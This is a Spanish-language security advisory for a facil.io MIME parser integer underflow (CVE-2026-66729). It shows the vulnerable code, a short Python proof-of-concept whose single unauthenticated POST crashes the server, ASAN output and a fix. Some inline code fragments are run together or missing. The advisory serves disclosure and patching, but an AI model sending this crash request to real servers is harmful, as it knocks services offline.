
Aviso de seguridad: Lectura fuera de límites en el analizador MIME de facil.io provoca caída del servidor
ID de CVE asignado CVE-2026-66729
Producto: facil.io
Versiones afectadas: facil.io >= 0.6.0 (todas las 0.6.x, todas las 0.7.x, master); introducido cuando se añadió el analizador MIME en 0.6.0
Componente: lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-191 (subdesbordamiento de enteros), CWE-125 (lectura fuera de límites)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Investigador: Theodosis Paidakis
Un subdesbordamiento de uint32_t en el analizador de cuerpo MIME multipart provoca una lectura fuera de límites cuando una cabecera Content-Disposition contiene un nombre de campo vacío (name=;). Cuando name_len es cero, se desborda a , leyendo aproximadamente 4 GB más allá del puntero . Esto provoca un fallo y bloquea el proceso del servidor. Una única petición POST sin autenticación es suficiente.
name[name_len - 1]name[0xFFFFFFFF]namelib/facil/http/parsers/http_mime_parser.h, líneas 235-241
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
name_len = (size_t)(start - name); // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"') // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
--name_len;
name_len se declara como uint32_t. Con la entrada name=;, memchr encuentra ; en la misma posición que name, por lo que start - name = 0. Restar 1 a un uint32_t con valor cero produce un subdesbordamiento a 0xFFFFFFFF. La expresión name[0xFFFFFFFF] calcula name_ptr + 4294967295, que está muy lejos de cualquier región mapeada.
La comprobación en la línea 236 (name[name_len - 1] == '\r') en la otra rama tiene el mismo patrón, pero allí name_len se calcula como end - name y no es cero en la práctica.
Inicie el servidor y luego ejecute:
# poc_mime_oob_read.py
import socket
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=;\r\n" # empty name before semicolon
"\r\n"
"value\r\n"
"--B--\r\n"
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096)) # no response — server crashed
print('Check the server')
Salida de ASAN (confirmada):
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF
Una sola petición provoca el fallo del proceso worker. En despliegues con múltiples workers, solo muere el worker que atiende la petición; el maestro lo reinicia. En modo de un solo worker, el servidor se queda fuera de línea. La lectura provoca un fallo antes de que se devuelvan los datos, por lo que no se demuestra la divulgación de información.
lib/facil/http/parsers/http_mime_parser.h, línea 241
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
--name_len;